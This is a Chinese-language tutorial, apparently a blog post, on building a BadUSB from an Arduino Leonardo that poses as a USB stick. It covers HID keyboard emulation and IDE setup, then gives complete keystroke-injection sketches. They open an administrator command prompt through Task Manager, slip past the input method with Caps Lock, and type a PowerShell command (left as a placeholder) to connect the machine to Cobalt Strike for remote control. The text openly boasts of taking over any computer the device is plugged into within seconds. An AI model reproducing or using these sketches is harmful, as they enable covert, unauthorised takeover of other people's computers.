Badusb制作
插一下U盘黑一台电脑,插了我的U盘你可就是我的脑了,(▽)

理论准备
我们要用它就应该知道他的工作原理是怎么样的,方便我们去发散思维去使用它。
Badusb的原理是利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。
硬件准备
首先在TB花费30左右大洋买一个 Badusb leonardo USB,烧录过程也比较简单
badusb外观就是u盘的模样,很有迷惑性,不了解的人还真分辨不出了

编译器准备
下载地址:https://www.arduino.cc/en/software,我这里下载了最新的2.1.1
下载完解压就行,双击exe打开,开始是英文,点击File->Preferences...,把English改为简体中文


编译代码
来到这一步,可以选择先插上Badusb,连接上端口,没有插上端口这里就会显示灰色无法点击

然后在工具中找到开发板中的Arduino Leonardo

看到这个地方变了就行,没变的话就点击选择一下

举一个最简单的栗子,执行win+r打开运行执行cmd,在cmd中执行whoami
#include <Keyboard.h> void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD"); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.println("whoami"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { // }
然后点击编译看是否有错误

没有错误进行上传,他会把详细信息输出出来,红色的跟有错误一起,其实没啥问题

验证成果

进入cmd的其他方式
通过任务管理器使用管理员权限运行cmd,不懂得可以手动操作一遍
#include <Keyboard.h> void setup() { Keyboard.begin(); //开始 delay(2000); //等待两秒 Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键 Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键 Keyboard.press(KEY_ESC); //按下ESC键 Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC) //以上代码执行结果: 打开任务管理器 delay(500); //等待0.5秒 作用: 等待任务管理器启动 Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键 Keyboard.press('f'); //按下f键 Keyboard.release('f'); //松开f键 Keyboard.press('n'); //按下n键 Keyboard.releaseAll(); //松开所有(n,Alt) delay(500); //等待0.5秒 作用: 等待运行的启动 Keyboard.press(KEY_TAB); //按下Tab键 Keyboard.release(KEY_TAB); //松开Tab键 Keyboard.press(' '); //按下空格键 Keyboard.release(' '); //松开空格键 //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务 //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了) Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法 Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD delay(3000); //等待2秒 作用: 等待cmd的启动 Keyboard.println("whoami"); //在cmd中输入 Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); //结束 } void loop() { // put your main code here, to run repeatedly: }
上线CS
通过Badusb 上线CS实现远程控制
以上我们可以看到,插上usb之后他会模拟键盘操作,可以就行打开或输入的动作,通过此方法来上线CS(远程控制)
上线的方法有,powershell上线,certutil下载并运行上线等
badusb通过powershell上线代码:
#include <Keyboard.h> void setup() { Keyboard.begin(); //开始 delay(2000); //等待两秒 Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键 Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键 Keyboard.press(KEY_ESC); //按下ESC键 Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC) //以上代码执行结果: 打开任务管理器 delay(500); //等待0.5秒 作用: 等待任务管理器启动 Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键 Keyboard.press('f'); //按下f键 Keyboard.release('f'); //松开f键 Keyboard.press('n'); //按下n键 Keyboard.releaseAll(); //松开所有(n,Alt) delay(500); //等待0.5秒 作用: 等待运行的启动 Keyboard.press(KEY_TAB); //按下Tab键 Keyboard.release(KEY_TAB); //松开Tab键 Keyboard.press(' '); //按下空格键 Keyboard.release(' '); //松开空格键 //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务 //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了) Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法 Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD delay(3000); //等待2秒 作用: 等待cmd的启动 Keyboard.println("powershell.exe xxxxxxxx"); //在cmd中输入 Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); //结束 } void loop() { // put your main code here, to run repeatedly: }
找个电脑上u盘,五秒钟,成功控制该电脑



